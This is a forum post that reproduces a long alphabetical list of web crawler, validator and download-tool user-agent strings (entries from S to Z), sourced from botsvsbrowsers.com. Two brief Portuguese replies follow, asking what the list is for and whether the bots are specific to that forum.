SearchWarp_Crawler/2.0 (http://SearchWarp.com/)

Seekbot/1.0 (http://www.seekbot.net/bot.html) HTTPFetcher/2.1

Seekbot/1.0 (http://www.seekbot.net/bot.html) HTTPFetcher/2.2

Seekbot/1.0 (http://www.seekbot.net/bot.html) RobotsTxtFetcher/1.2

SeekGen/Nutch-0.9 (SeekGenBot; http://www.seekgen.com; Email)

Semager/1.1 (http://www.semager.de/blog/semager-bots/)

Semager/1.2 (http://www.semager.de/blog/semager-bots/)

Semager/1.2 http://www.semager.de/blog/semager-bots/

Sensis Web Crawler (search_comments\at\sensis\dot\com\dot\au)

SEO[.AG] - Search Engine Optimizer Bot [http://www.seo.ag]

SEO[.AG] - Search Engine Optimizer Bot [http://www.seo.ag]

SEO[.AG] - Search Engine Optimizer Bot [http://www.seo.ag]

SEO[.AG] - Search Engine Optimizer Bot [http://www.seo.ag]

SeznamBot/2.0 (+http://fulltext.seznam.cz/)

ShablastBot 1.0

shaboyi spider

SharedService.Crawler

shelob v1.0

Shim-Crawler

Shim-Crawler(Mozilla-compatible; http://www.logos.ic.i.u-tokyo.ac.jp/crawler/; crawl@logos.ic.i.u-tokyo.ac.jp)

ShopWiki/1.0 ( +http://www.shopwiki.com/wiki/Help:Bot)

ShrinkTheWeb.com Crawler v1.0 (+http://www.shrinktheweb.com)

Sigram/Nutch-1.0-dev (Test agent for Nutch development; http://www.sigram.com/bot.html; bot at sigram dot com)

silk/1.0

SindiceBot/Nutch-1.0-dev (http://sindice.com/dev?section=bot)

SindiceBot/Nutch-1.0-dev (http://sindice.com/developers/bot)

Sirketcebot/v.01 (http://www.sirketce.com/bot.html)

Site Sniper Pro

SitemapsPal.com Sitemaps Spider

SiteTruth.com site rating system

SiteWinder

SitiDi.net/SitiDiBot/1.0 ( Have Good Day)

Slip Knees 2.1

Slurp

Slurpem.com - Sucken Up The Web

Slurpy Verifier/1.0

SlySearch/1.3 (http://www.slysearch.com)

SmallProxy 3.2 Beta 13

SmartyBot 2.0 Analytics http://bumblebeegarage.com/howitworks.html

sna-0.0.1 (mikeelliott@hotmail.com)

sna-0.0.1 mikeelliott@hotmail.com

sna-0.0.1 mikemuzio@msn.com

snap.com beta crawler v0

Snapbot/1.0

Snapbot/1.0 (+http://www.snap.com)

Snapbot/1.0 (Snap Shots, +http://www.snap.com)

Snoopy v0.94

Snoopy v1.01

Snoopy v1.2

Snoopy v1.2.3

sogou develop spider

Sogou head spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

Sogou Orion spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

sogou push spider

Sogou Push Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

sogou spider

sogou spider2(+http://www.sogou.com/docs/help/webmasters.htm#07)

sogou web spider http://www.sogou.com/docs/help/webmasters.htm#07

sogou web spider(+http://www.sogou.com/docs/help/webmasters.htm#07)

Sogou web spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

Sogou-Test-Spider/4.0 (compatible; MSIE 5.5; Windows 98)

sohu agent

sohu-search

SonyEricssonK800i/R1ED Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 (Mediobot/1.0 +http://bot.medio.com)

Sosoimagespider+(+http://help.soso.com/soso-image-spider.htm)

Sosospider+(+http://help.soso.com/webspider.htm)

Space Bison 2

Space Bison/0.02 [fu] (Win67; X; SK)

SpaceBison/0.01 [fu] (Win67; X; ShonenKnife)

Speedy Spider (Beta/1.0; speedy@entireweb.com)

Speedy Spider (Beta/1.0; http://www.entireweb.com)

Speedy Spider (Entireweb; Beta/1.0; http://www.entireweb.com/about/search_tech/speedyspider/)

Speedy Spider (Entireweb; Beta/1.1; http://www.entireweb.com/about/search_tech/speedyspider/)

Speedy Spider (Entireweb; Beta/1.2; http://www.entireweb.com/about/search_tech/speedyspider/)

Speedy Spider (Entireweb; Beta/1.3; http://www.entireweb.com/about/search_tech/speedyspider/)

Speedy Spider (http://www.entireweb.com/about/search_tech/speedy_spider/)

Speedy Spider (http://www.entireweb.com/about/search_tech/speedyspider/)

Speedy+Spider+(http://www.entireweb.com/about/search_tech/speedy_spider/)

spider

Spider Indexer Beta2

Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

SpiderKU/0.9

SpiderMan/Nutch-0.9 (Nutch spiderman; http://spiderman.nutch.com ; MyEmail)

Spock Crawler (http://www.spock.com/crawler)

SpokeSpider/1.0 (http://support.spoke.com/webspider/) Mozilla/5.0 (not really)

sproose/0.1 (sproose bot; http://www.sproose.com/bot.html; crawler@sproose.com)

sproose/0.1-alpha (sproose crawler; http://www.sproose.com/bot.html; crawler@sproose.com)

sproose/1.0beta (sproose bot; http://www.sproose.com/bot.html; crawler@sproose.com)

SquidClamAV_Redirector 1.7.0

SquidClamAV_Redirector 1.8.2

StackRambler/2.0 (MSIE incompatible)

Stealth Session

Steeler/3.3 (http://www.tkl.iis.u-tokyo.ac.jp/~crawler/)

STEROID Download

StoneHttpAgent

STRYDER__00

Student study spider#007

Sumimasen Spider 1.2 webmaster@sumimasen.com

Sunrise/0.42i (Windows XP)

SuperBot/4.7.0.72 (Windows XP)

SuperPagesBot/0.1

SURF

Surf4Me

SurfControl

SurveyBot/2.3 (Whois Source)

swish-e http://swish-e.org/

SygolBot http://www.sygol.com

Syntryx ANT Scout Chassis Pheromone; Mozilla/4.0 compatible crawler

tags2dir.com/0.8 (+http://tags2dir.com/directory/)

Tannoy

Tcl http client package 2.4.2

Tcl http client package 2.5.3

TeamSoft WinInet Component

Technoratibot/0.7

Teemer (NetSeer, Inc. is a Los Angeles based Internet startup company.; http://www.netseer.com/crawler.html; crawler@netseer.com)

Teemer (NetSeer, Inc.; http://www.netseer.com/crawler.html; crawler@netseer.com)

Teleport Pro/1.29

test bot

test spider

test/Nutch-0.8.1 (Test robot; http://test.com; info at test.com>)

TestBot-YSTReltools

TestCrawler/Nutch-0.9 (Testing Crawler for Research ; http://balihoo.com/index.aspx; tgautier at balihoo dot com)

TestCrawler/Nutch-0.9 (Testing Crawler for Research ; http://chitchit.org/TestCrawler.html; amitjain at spro dot net)

ThaiSUE-Crawler

The Expert HTML Source Viewer (http://www.expert-html.com)

TheRarestParser (http://therarestwords.com/)

TheRarestParser/0.2a

TheRarestParser/0.2a (http://therarestwords.com/)

TheRarestParser/0.4b (http://rarestblog.com/therarestparser/)

thumbshots-de-bot (+http://www.thumbshots.de)

thumbshots-de-bot (+http://www.thumbshots.de)

thumbshots-de-Bot (Version: 1.02, powered by http://www.thumbshots.de)

TinDog2

TinEye/1.0 (http://tineye.com/crawler.html)

TinEye/1.1 (http://tineye.com/crawler.html)

TMBot (TMBot; http://www.TM.com)

TMCrawler

tmsnbot/1.0 (+http://search.msn.com/msnbot.htm)

toddwe6 l tcaoddtEnmbeokndrebiu

tomocha love/4.0 WindowsNT 5.0

topicblogs/0.9

Touche (+http://www.touche.com.ve)

trafficbloater/1.0+(TrafficBloater;+http://www.trafficbloater.com)

Trailfire-bot/0.7.1 (Trailfire page content analyzer; http://trailfire.com; info@trailfire.com)

Trailfire/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)

travel-search

TulipChain/5.x (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://java.sun.com/) Linux/2.4.17

TulipChain/5.xx (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://apple.com/) Mac_OS_X/10.2.8

TurnitinBot/2.0 (http://www.turnitin.com/robot/crawlerinfo.html)

TurnitinBot/2.0 http://www.turnitin.com/robot/crawlerinfo.html

TurnitinBot/2.1 (http://www.turnitin.com/robot/crawlerinfo.html)

TutorGigBot/1.5 ( +http://www.tutorgig.info )

twiceler

Twiceler http://www.cuill.com/robots.html

Twiceler http://www.cuill.com/twiceler/robot.html

Twiceler-0.9 http://www.cuill.com/twiceler/robot.html

Twisted PageGetter

Tycoon Agent/Nutch-1.0-dev

UCMore Crawler App

UdmSearch/3.1.x

UFO/77.7 (CoSMoS; Z; Pearl 256; peep) F!R3F0>< P\/\/NS y0!

ULTRA NAZI TIME-TRAVELLING SPAMBOT FROM THE YEAR 6284/0.1 (compatible; MSIE 458.1; Windows NT 97.0; en-GB)

UltraUptime/1.0 (compatible; MSIE 6.0; Windows NT 5.1)

Unknown Bot

unknown/1.0

unknown/1.0 (CP/M; 8-bit)

UnSpun by Amazon

updated/0.1beta (updated.com; http://www.updated.com; crawler@updated.com)

URI::Fetch/0.08

URL_Spider_Pro/3.0 (http://www.innerprise.net/usp-spider.asp)

URLBase/6.1

user-agent badguy 1.0 (funky fibbon)

User-Agent: FPLinkChecker/1.2

User-Agent: Mozilla/4.0 (http://www.fast-search-engine.com/)

user_agent=Mp3Bot/0.1 (http://mp3realm.org/mp3bot/)

UserAgent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

USyd-NLP-Spider (http://www.it.usyd.edu.au/~vinci/bot.html)

Utopia WebWasher 3.0

uw_cse_xwci uw.crawler@gmail.com http://myst.cs.washington.edu/index.html/Nutch-0.9 (University of Washington Computer Science XWC project crawl; http://myst.cs.washington.edu/index.html; uw dott craw

Vacobot; (+http://vaco.ws/bot.html)

VadixBot

VadixBot_Exp

Vagabondo/3.0 (webagent at wise-guys dot nl)

VB Project

vBSEO (http://www.vbseo.com)

venkatpb bot

veoh-\xe2\xb8\xb3\xe2\xb8\xb40 service (NT 5.1; IE 6.0.2900.2180; en-US Windows) Google 2.1

versus crawler from eda.baykan@epfl.ch

ViagraBot (Every page makes me harder!~)

VisBot/1.0 (Visvo.com; http://www.visvo.com/bot.html; bot@visvo.com)

VisBot/2.0 (Visvo.com Crawler; http://www.visvo.com/bot.html; bot@visvo.com)

Vision Research Lab image spider at vision.ece.ucsb.edu

VMBot/0.7.2 (VMBot; http://www.VerticalMatch.com/; vmbot@tradedot.com)

void/1.0 (void)

voyager-hc/1.0

voyager-hc/1.0 (+http://www.kosmix.com/crawler.html)

voyager-hc/1.0 (+http://www.kosmix.com/crawler.html)

voyager-partner-deep/1.0

voyager/1.0

voyager/1.0 (+http://www.kosmix.com/html/crawler.html)

Voyager/1.31 (Acorn RISC OS; ARM)

voyager/2.0 (http://www.kosmix.com/html/crawler.html)

VSynCrawler/1.0

VWBOT/Nutch-0.9-dev (VWBOT Nutch Crawler; http://vwbot.cs.uiuc.edu; vwbot@cs.uiuc.edu)

W3C-checklink/4.3 [4.42] libwww-perl/5.805

W3C_Validator/1.0 libwww-perl/0.40

W3C_Validator/1.305.2.12 libwww-perl/5.64

W3C_Validator/1.305.2.148 libwww-perl/5.803

W3C_Validator/1.555

W3C_Validator/1.575

W3CLineMode/5.4.0 libwww/5.x.x

W3CRobot/5.4.0 libwww/5.4.0

WannaBe (Macintosh; 68k)

WDG_Validator/1.6.4

Web 2.0 Validator/~2.7183 (web2.0validator.com)

Web Hosting PayPal Scripts N Solutions

Web-sniffer/1.0.25 (+http://web-sniffer.net/)

web2express.org/Nutch-0.9-dev (leveled playing field; http://web2express.org/; info at web2express.org)

WebAlta Crawler/1.3.33 (http://www.webalta.net/ru/about_webmaster.html) (Windows; U; Windows NT 5.1; ru-RU)

WebAlta Crawler/1.3.34 (http://www.webalta.net/ru/about_webmaster.html) (Windows; U; Windows NT 5.1; ru-RU)

WebAlta Crawler/2.0 (http://www.webalta.net/ru/about_webmaster.html) (Windows; U; Windows NT 5.1; ru-RU)

WebarooBot (Webaroo Bot; http://64.124.122.252/feedback.html)

WebarooBot (Webaroo Bot; http://www.webaroo.com/rooSiteOwners.htm)

WebClient

WebCopier v2.7

WebCopier v3.0.1

WebCopier v4.5

WebCopier vx.x

WebCorp/1.0

WebCrawler_1.1 internet@bredband.net

WebFetch

WebGo IS - 4380

WebGo IS - 4488

WebGo IS - 4500

WebGo IS - 4504

WebIndexer/1-dev (Web Indexer; mailto://webindexerv1@yahoo.com; webindexerv1@yahoo.com)

WebQL

WebReaper [support@webreaper.net]

WebSauger 1.20b

Webscope/Nutch-0.9-dev (http://www.cs.washington.edu/homes/mjc/agent.html)

Websquash.com (Add url robot)

WebToaster V0.9 Alpha - See http://www.webtoaster.com/ for details

Wells Search II

WeRelateBot/0.9 (WeRelate; http://www.werelate.org/wiki/WeRelate:Bot; dallan@werelate.org)

wget

Wget/1.10

Wget/1.10.1

Wget/1.10.1 (Red Hat modified)

Wget/1.10.2

Wget/1.10.2 (Red Hat modified)

Wget/1.11

Wget/1.11.1

Wget/1.11.3

Wget/1.5.3.1

Wget/1.7.1

Wget/1.8

Wget/1.8.1

Wget/1.8.2

Wget/1.9

Wget/1.9+cvs-stable (Red Hat modified)

Wget/1.9.1

whiteiexpres/Nutch-0.9 (whiteiWebBot; whiteiexpress.com; whiteye@kon-x.com)

wikiwix-bot-3.0

Willow Internet Crawler by Twotrees V2.1

WinHTTP Example/1.0

WinHTTP Robot

WinHTTP Robot/1.0

WinHttp664114

WinInetSimpleRequest

WinkBot/0.06 (Wink.com search engine web crawler; http://www.wink.com/Wink:WinkBot; winkbot@wink.com)

WinPodder (http://winpodder.com)

WinPodder/0.06beta (http://winpodder.com)

WinPodder/1.0 (http://winpodder.com)

WIRE/0.11 (Linux; i686; Bot,Robot,Spider,Crawler,aromano@cli.di.unipi.it)

wisponbot(http://www.wispon.com,mailto:wispon@theory.snu.ac.kr)

Woovi/v1.0 (http://woovi.com; bot@woovi.com)

WordChampBot

WordPress/2.0.5

WordPress/2.1.2

WordPress/2.2

woriobot (+http://www.worio.com)

woriobot (+http://www.worio.com/)

workload-generator/Nutch-0.9 (web20-setup; https://twiki.hpl.hp.com/bin/view/Main/WebsearchNotes)

World-Check URL-Checker

World-Check URL-Checker ($Revision$) libwww-perl/5.805

World-Check URL-Checker ($Revision: 427 $) libwww-perl/5.803

World-Check URL-Checker ($Revision: 427 $) libwww-perl/5.805

WorQmada/1.0

WWW-Mechanize/0.6.9 (http://rubyforge.org/projects/mechanize/)

WWW-Mechanize/0.7.5 (http://rubyforge.org/projects/mechanize/)

WWW-Mechanize/0.72

WWW-Mechanize/1.12

WWW-Mechanize/1.18

WWW-Mechanize/1.20

WWW-Mechanize/1.22

WWW-Mechanize/1.30

http://www.bilgisayar.in arama motoru http://www.turkiyespot.com ucuz hosting merkezi

http://www.fi crawler, contact crawler@www.fi

http://www.light2art.de http://www.light2art.com

WWWOFFLE/2.9a

wwwrobot

wwwster/1.4 (Beta, mailto:gue@cis.uni-muenchen.de)

Xaldon WebSpider 2.7.b6

xChaos_Arachne/5.1.93;UE12,r10 (http://www.cisnet.com/glennmcc/)

Xenu Link Sleuth 1.2a

Xenu Link Sleuth 1.2d

Xenu Link Sleuth 1.2e

Xenu Link Sleuth 1.2f

Xenu Link Sleuth 1.2g

Xenu Link Sleuth 1.2h

Xenu Link Sleuth 1.2i

Xenu Link Sleuth 1.2j

Xenu Link Sleuth 1.2j (beta)

XeonBot/1.0 (+http://ghostblade.us/index/bot.php)

Xiino/3.4.1E [en] (v. 5.4.8; 153x130; c16/d)

XMLHTTP/1.0

Y!TunnelPro

yacy (http://www.yacy.net; v20040602; i386 Linux 2.4.27-2-686; java 1.4.2-03; Europe/de)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.4.27-3-k7; java 1.4.2-03; Europe/en)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.4.31; java 1.5.0_04; Europe/en)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.4.32; java 1.5.0_05; Europe/en)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.14-2-k7-smp; java 1.5.0_09; Europe/en)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.15.4.k7.g4.acpi.apic; java 1.5.0_08; Europe/de)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.16-2-xen-vserver-amd64-k8; java 1.6.0-beta; Europe/de)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.16.13-4-smp; java 1.5.0_06; Europe/de)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.16.13-xenU; java 1.5.0_06; UTC/en)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.16.21-0.25-default; java 1.4.2_11; Europe/en)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.17-10-386; java 1.5.0_08; Europe/de)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.17-10-generic; java 1.5.0_08; Europe/de)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.17-2-686; java 1.5.0_06; Europe/de)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.17.13; java 1.5.0_08; Europe/de)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.18-1.2239.fc5; java 1.5.0_09; Europe/de)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.8-022stab078.14; java 1.5.0_09; GMT/en)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.8-2-k7; java 1.5.0_05; Europe/de)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.8-24-default; java 1.5.0_06; Europe/de)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.8-24-default; java 1.5.0_09; Europe/de)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.8-24.17-smp; java 1.4.2_11; Europe/de)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.8-3-686; java 1.5.0_09; Europe/de)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.8-3-686; java 1.5.0_10; Europe/de)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.8-3-k7; java 1.4.2-03; Europe/de)

yacy (http://www.yacy.net; v20040602; i386 Linux 2.6.8.1; java 1.4.2_11; Europe/en)

yacy (http://www.yacy.net; v20040602; x86 Windows 2000 5.0; java 1.4.2_10; Europe/de)

yacy (http://www.yacy.net; v20040602; x86 Windows XP 5.1; java 1.5.0_11; Europe/de)

yacy (http://www.yacy.net; v20040602; x86 Windows XP 5.1; java 1.6.0; Europe/it)

yacybot (amd64 Linux 2.6.16-2-amd64-k8-smp; java 1.5.0_10; Europe/en) http://yacy.net/yacy/bot.html

yacybot (amd64 Linux 2.6.18.8-0.7-default; java 1.5.0_13; Europe/de) http://yacy.net/bot.html

yacybot (amd64 Linux 2.6.22-14-server; java 1.6.0_04; Europe/en) http://yacy.net/bot.html

yacybot (amd64 Linux 2.6.22-14-server; java 1.6.0_04; GMT/en) http://yacy.net/bot.html

yacybot (amd64 Linux 2.6.24-16-generic; java 1.6.0_06; Europe/de) http://yacy.net/bot.html

yacybot (amd64 Linux 2.6.25-gentoo-r6; java 1.6.0_07; Europe/en) http://yacy.net/bot.html

yacybot (i386 FreeBSD 6.1-RELEASE-p11; java 1.5.0; Europe/en) http://yacy.net/bot.html

yacybot (i386 FreeBSD 6.2-RELEASE-p9; java 1.5.0; Europe/en) http://yacy.net/bot.html

yacybot (i386 Linux 2.4.27-2-686; java 1.4.2-03; Europe/de) yacy.net

yacybot (i386 Linux 2.4.27-3-k7; java 1.4.2-03; Europe/en) yacy.net

yacybot (i386 Linux 2.4.31; java 1.5.0_04; Europe/en) yacy.net

yacybot (i386 Linux 2.4.32; java 1.5.0_05; Europe/en) yacy.net

yacybot (i386 Linux 2.6.14-2-k7-smp; java 1.5.0_09; Europe/en) yacy.net

yacybot (i386 Linux 2.6.15.4.k7.g4.acpi.apic; java 1.5.0_08; Europe/de) yacy.net

yacybot (i386 Linux 2.6.16-2-xen-vserver-amd64-k8; java 1.6.0-beta; Europe/de) yacy.net

yacybot (i386 Linux 2.6.16.13-4-smp; java 1.5.0_06; Europe/de) yacy.net

yacybot (i386 Linux 2.6.16.13-xenU; java 1.5.0_06; UTC/en) yacy.net

yacybot (i386 Linux 2.6.16.21-0.25-default; java 1.4.2_11; Europe/en) yacy.net

yacybot (i386 Linux 2.6.17-10-386; java 1.5.0_08; Europe/de) yacy.net

yacybot (i386 Linux 2.6.17-10-generic; java 1.5.0_08; Europe/de) yacy.net

yacybot (i386 Linux 2.6.17.13; java 1.5.0_08; Europe/de) yacy.net

yacybot (i386 Linux 2.6.18-1.2239.fc5; java 1.5.0_09; Europe/de) yacy.net

yacybot (i386 Linux 2.6.18-4-686; java 1.4.2-03; Europe/es) http://yacy.net/yacy/bot.html

yacybot (i386 Linux 2.6.18-53.1.4.el5; java 1.6.0_03; Europe/en) http://yacy.net/bot.html

yacybot (i386 Linux 2.6.18.8-0.9-default; java 1.5.0_14; Europe/en) http://yacy.net/bot.html

yacybot (i386 Linux 2.6.20-16-generic; java 1.6.0_02; Europe/de) http://yacy.net/bot.html

yacybot (i386 Linux 2.6.21-ARCH; java 1.6.0; Europe/en) http://yacy.net/yacy/bot.html

yacybot (i386 Linux 2.6.22-14-386; java 1.6.0_03; Europe/en) http://yacy.net/bot.html

yacybot (i386 Linux 2.6.22-14-generic; java 1.6.0_03; Europe/de) http://yacy.net/bot.html

yacybot (i386 Linux 2.6.23; java 1.6.0_04; Europe/en) http://yacy.net/bot.html

yacybot (i386 Linux 2.6.23; java 1.6.0_05; Europe/en) http://yacy.net/bot.html

yacybot (i386 Linux 2.6.24-1-686; java 1.5.0_14; GMT+01:00/de) http://yacy.net/bot.html

yacybot (i386 Linux 2.6.24-18-generic; java 1.6.0; Europe/en) http://yacy.net/bot.html

yacybot (i386 Linux 2.6.25-gentoo-r7; java 1.6.0_07; Europe/de) http://yacy.net/bot.html

yacybot (i386 Linux 2.6.8-022stab078.14; java 1.5.0_09; GMT/en) yacy.net

yacybot (i386 Linux 2.6.8-2-k7; java 1.5.0_05; Europe/de) yacy.net

yacybot (i386 Linux 2.6.8-24-default; java 1.5.0_09; Europe/de) yacy.net

yacybot (i386 Linux 2.6.8-24.17-smp; java 1.4.2_11; Europe/de) yacy.net

yacybot (i386 Linux 2.6.8-3-686; java 1.5.0_09; Europe/de) yacy.net

yacybot (i386 Linux 2.6.8-3-686; java 1.5.0_10; Europe/de) yacy.net

yacybot (i386 Linux 2.6.8-3-k7; java 1.4.2-03; Europe/de) yacy.net

yacybot (i386 Linux 2.6.8.1; java 1.4.2_11; Europe/en) yacy.net

yacybot (i386 Linux 2.6.9-023stab044.4-smp; java 1.6.0_02; Europe/en) http://yacy.net/yacy/bot.html

yacybot (i386 Linux 2.6.9-023stab046.2-smp; java 1.6.0_02; Europe/en) http://yacy.net/yacy/bot.html

yacybot (ppc Mac OS X 10.5.2; java 1.5.0_13; Europe/de) http://yacy.net/bot.html

yacybot (x86 Windows 2000 5.0; java 1.4.2_10; Europe/de) yacy.net

yacybot (x86 Windows 2003 5.2; java 1.5.0_10; Europe/en) yacy.net

yacybot (x86 Windows XP 5.1; java 1.6.0_05; Europe/it) http://yacy.net/bot.html

Yahoo Mindset

Yahoo Pipes 1.0

Yahoo! Mindset

Yahoo! Slurp

Yahoo! Slurp Java/1.6.0

Yahoo! Slurp/Site Explorer

Yahoo-Blogs/v3.9 (compatible; Mozilla 4.0; MSIE 5.5; http://help.yahoo.com/help/us/ysearch/crawling/crawling-02.html )

Yahoo-MMAudVid/2.0(mms dash mm aud vid crawler dash support at yahoo dash inc.com ;Mozilla 4.0 compatible; MSIE 7.0;Windows NT 5.0; .NET CLR 2.0)

Yahoo-MMCrawler/3.x (mms dash mmcrawler dash support at yahoo dash inc dot com)

Yahoo-Test/4.0

yahoobot

YahooFeedSeeker/2.0 (compatible; Mozilla 4.0; MSIE 5.5; http://publisher.yahoo.com/rssguide)

YahooSeeker-Testing/v3.9 (compatible; Mozilla 4.0; MSIE 5.5; http://search.yahoo.com/)

YahooSeeker/CafeKelsa-dev (compatible; Konqueror/3.2; FreeBSD ;cafekelsa-dev-webmaster@yahoo-inc.com )

YahooYSMcm/2.0.0

YamBot-USA (Version: 1.02, powered by yambot.com)

Yandex/1.01.001 (compatible; Win16; H)

Yandex/1.01.001 (compatible; Win16; I)

Yandex/1.02.000 (compatible; Win16; F)

YebolBot (compatible; Mozilla/5.0; MSIE 7.0; mailto:yeboltechnology@yahoogroups.com)

YebolBot (compatible; Mozilla/5.0; MSIE 7.0; Windows NT 6.0; rv:1.8.1.11; mailTo:thunder.chang@gmail.com)

YebolBot (Email: yebolbot@gmail.com; If the web crawling affects your web service, or you don't like to be crawled by us, please email us. We'll stop crawling immediately.)

yesup-robot/1.0

Yeti

Yeti/0.01

Yeti/0.01 (nhn/1noon, yetibot@naver.com, check robots.txt daily and follow it)

Yeti/0.01 (nhn/1noon, yetibot@naver.com, check robots.txt daily and follows it)

Yeti/1.0 (+http://help.naver.com/robots/)

Yeti/1.0 (NHN Corp.; http://help.naver.com/robots/)

yggdrasil/Nutch-0.9 (yggdrasil biorelated search engine; www dot biotec dot tu minus dresden do de slash schroeder; heiko dot dietze at biotec dot tu minus dresden dot de)

Yobot/1.0

YodaoBot/1.0 (http://www.yodao.com/help/webmaster/spider/; )

Yooda CheckBot V1.0 ( http://www.yooda.com )

yoofind/yoofind-0.1-dev (yoono webcrawler; http://www.yoono.com ; crawl@yoono.com)

yoofind/yoofind-0.1-dev (yoono webcrawler; http://www.yoono.com ; MyEmail)

yoono/1.0 web-crawler/1.0

YTunnelPro

Z-Add Link Checker (http://w3.z-add.co.uk/linkcheck/)

Zend_Http_Client

zermelo Mozilla/5.0 compatible; heritrix/1.12.1 (+http://www.powerset.com) [email:crawl@powerset.com,email:paul@page-store.com]

zerxbot/Version 0.6 libwww-perl/5.79

zerxbot/Version 0.6 libwww-perl/5.805

Zeus

Zeus 30747 Webster Pro V2.9 Win32

Zeus 36846 Webster Pro V2.9 Win32

Zeusbot/0.07 (Ulysseek's web-crawling robot; http://www.zeusbot.com; agent@zeusbot.com)

ZipppBot/Nutch-0.9 (ZipppBot .02; http://www.zippp.net; crawlteam@zippp.net)

ZipppBot/Nutch-1.0-dev (ZipppBot .02; http://www.zippp.net; crawlteam@zippp.net)

ZoomSpider

ZoomSpider - wrensoft.com

ZoomSpider - wrensoft.com [ZSEBOT]

Fonte: http://www.botsvsbrowsers.com/category/1/index.html
 
praq serve isso?
 
esses bots sao so os daquis ou de todos os foruns ?